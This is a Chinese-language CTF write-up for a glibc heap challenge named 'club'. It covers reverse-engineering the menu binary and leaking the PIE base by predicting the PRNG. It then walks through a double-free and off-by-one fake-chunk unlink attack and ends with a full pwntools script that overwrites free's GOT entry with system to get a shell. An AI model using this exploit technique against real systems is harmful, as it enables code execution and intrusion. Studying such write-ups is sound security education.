题目介绍:
打开,题目有6个功能,进ida详细查看
分析功能:
1号:get a box
可以看出,这个功能号就是用来申请一个堆空间,不过这里有限制,
先去if看下这些全局变量有什么限制
由以上代码可以看出,申请的当前空间要比排它前面的大0x10比排在它后面的小0x10,跟进B95的局部变量,数组有7个元素,第0跟第6个元素已经被设定了初始值,第1到第5为0。这5个元素就是用来记录申请到的box的大小。又由于数组第0与第6个元素被初始化为了8和0x1000所以我们可以申请的堆大小范围在0x18 ~ 0xFF0之间
2号功能:destory a box
看if判断,看数组
结合程序逻辑可以看出,只有small与normal类型的box可以被free。并且由于free后没有重置202130的值,结合一号功能,所以每种类型的box只能使用一次,这里还有一个很明显的漏洞存在,free后的buffer指针没有被清空,所以可能导致double free的利用
3号功能:leave me a message in box
这里也有一个问题,写入次数比buffer多了一字节,所以可以用off-by-one
4号功能:show message in box
单纯的显示buffer内容,可以用来泄露地址。
5号功能:guess a random number
是一个彩随机数的小游戏,猜中了返回随机种子,猜错了会告诉你正确的随机数,这里的随机种子就是seed的全局变量的地址,由于程序开启了PIE所以这里是获取程序基址的地方。
6号输出:
关于堆的分配,堆管理中的chunk指针是指向chunk头部,大小也是包括头部的,而用户申请的大小只是数据空间的大小,返回的指针也是指向数据空间。
堆的double free利用主要是根据堆分配的原理及规律、堆悬空指针的存在及unlink机制实现的。
堆的分配一般是从低地址到高地址连续分配,这就会发生新申请的chunk直接释放,再申请的新chunk其堆指针是一样的。而其回收释放是通过bins完成的,释放的chunk根据其大小不同将其加入bins的单身或双向链表。
堆的释放过程:检查相邻前后chunk是否释放,如果释放,就会进行向前或向后合并,当前chunk指针变为指向前一个(后一个chunk)的指针,并将free状态的相邻chunk从bins中unlink,再合并后的chunk添加到双向链表(非fast chunk)中。
unlink的主要宏代码如下:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
当前的libc堆管理为了防止double free,释放chunk前,检查FD->bk=BK->fd=P, P为当前需要free的chunk指针,BK的前一个chunk的指针,FD为后一个chunk的指针。如果有一个堆指针可控,并在一个chunk的数据段内,再如果有个可控的地址是指向P的,记为* X=P。那么我们就在此chunk上构造两个chunk,第一个chunk在pre_size的标志位P设为1,大小到P结束,第二个chunk的pre_size的标志位P设为0,针对64位系统,第一个chunk的fd设为(X-0x18),bk设为(X-0x10),即P->fd=(X-0x18),P->fd=(X-0x10),又因为*X=P,所以(X-0x18)->bk=P,(X-0x10)->fd=P,通过unlink的检查,按照unlink的宏代码,unlink过程中X的内容前后被写为(X-0x10)、(X-0x18),最终X的内容被我们改写。
程序看完之后开始构造payload:
获取加载基址
首先先通过猜伪随机数来获取程序的加载基址,
预测伪随机数,需要一个公式
r[i] = (r[i-3] + r[i-31]) & 0x7fffffff
关于double free:
由于只有small和normal的box可以free,所以先创建normal与big,然后释放掉normal,之后再创建little与small,并通过normal的指针来构造fake chunk,
首先申请400与450大小的normal box和big box,释放normal box,再申请150与200大小的little box和small box,这样normal box与little box的指针是同一个地址,又由于本程序中写入数据只看指针与box大小,所以此时的normal box的指针可以同时操作little box和small box的内存,这样就可以来构造fake chunk。
布置fake chunk的内存数据,用上面的地址来描述,fake chunk的prev size和size放在0x0000558DC84DA420和0x0000558DC84DA428,0x0000558DC84DA430处开始写入fd与bk,由于unlink新增加的检测,所以这里需要分别写入一个指向fake chunk头部的指针的地址减0x18和0x10,这样就能满足FD->bk == p && BK->fd == p,p表示当前chunk,FD表示当前chunk的fd指向的chunk, BK表示当前chunk的bk指向的chunk,所以这里选择全局变量boxBuff - 0x18和boxBuff - 0x10的地址来写入。
然后还要修改0x0000558DC84DA4B0处的prev size和0x0000558DC84DA4B8处表示前chunk是否空闲的最低位为0这样当释放此处的堆时会因为向前合并而调用unlink,所以这里根据实际情况,写入0x90和0xD0,构造fake chunk后内存布局如下(A为填充数据):
对small box进行free操作,触发unlink,使得0x0000558DC6C4C108处的指针指向0x0000558DC6C4C0F0,因此可以通过对0x0000558DC6C4C108进行写入来覆盖自身的指针到任意位置,造成任意地址读写,这里选择覆盖为free的plt表地址,这样就可以通过读取free的plt表的值来计算system的地址,然后再用计算出来的system的地址覆盖plt表中free的地址,这样再次free时实际调用的就是system,free的指针就是/bin/sh串的起始地址,就能get shell
找到地址:
完整的脚本:
from pwn import *
context.arch = 'amd64'
p = process('./club')
libc = ELF('./libc-2.24.so')
#p = remote('123.206.22.95', 8888)
#libc = ELF('./libc.so.6')
#context.log_level = 'debug'
def writeMsg(index, msg):
p.sendline('3')
p.recvuntil('> ')
p.sendline(str(index))
p.sendline(msg)
p.recvuntil('> ')
def createBox(index, size):
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(index))
p.recvuntil('> ')
p.sendline(str(size))
p.recvuntil('> ')
def freeBox(index):
p.sendline('2')
p.recvuntil('> ')
p.sendline(str(index))
p.recvuntil('> ')
def guess(i):
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(i))
res = p.recvline()
p.recvuntil('> ')
num = res.split()[-1][:-1]
return int(num)
if __name__ == '__main__':
print '[+]guess random number'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
for i in range(31):
lstRand.append(guess(i))
//猜数部分
for i in range(31, 33):
rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(rnd))
tmp = p.recvline()
if 'G00dj0b' in tmp:
baseAddr = int(tmp.split()[-1][:-1]) - 0x202148 //计算基地址
p.recvuntil('> ')
break
p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)
print '[+]begin make fake chunk'
createBox(3, 400)
createBox(4, 450)
freeBox(3)
createBox(1, 150)
createBox(2, 200)
boxbuff = baseAddr + 0x202100 //payload写入位置
print '[+]boxbuff:' + hex(boxbuff)
payload = p64(0) + p64(0x90) + p64(boxbuff-0x10) + p64(boxbuff-0x8) + 'A'*0x70 + p64(0x90) + p64(0xD0) + '/bin/sh\x00' + '\0' * 0x20
writeMsg(3, payload) //构造payload并写入
//unlink
print '[+]begin unlink'
freeBox(2)
print '[+]modify free to system'
freeAddr = baseAddr + 0x202018 //.got.plt:free位置
print '[+]freed@plt:' + hex(freeAddr)
freeOff = libc.symbols['free'] //查找free和system
systemOff = libc.symbols['system']
payload2 = p64(0) + p64(0) + p64(0) + p64(freeAddr)
writeMsg(1, payload2) //写入free地址
p.sendline('4')
p.recvuntil('> ')
p.sendline('1')
tmp = p.recvline(keepends=False) //接收little盒子msg,即free地址
p.recvuntil('> ')
print '[+]free addr:' + hex(u64(tmp.ljust(8, "\0"))) //用0填充至8位
systemAddr = u64(tmp.ljust(8, "\0")) - freeOff + systemOff
print '[+]system addr:' + hex(systemAddr)
writeMsg(1, p64(systemAddr))
print '[+]get shell' //再次free提权
p.sendline('2')
p.recvuntil('> ')
p.sendline('2')
p.interactive()
最后找到了作者的博客,有关于作者的出题思路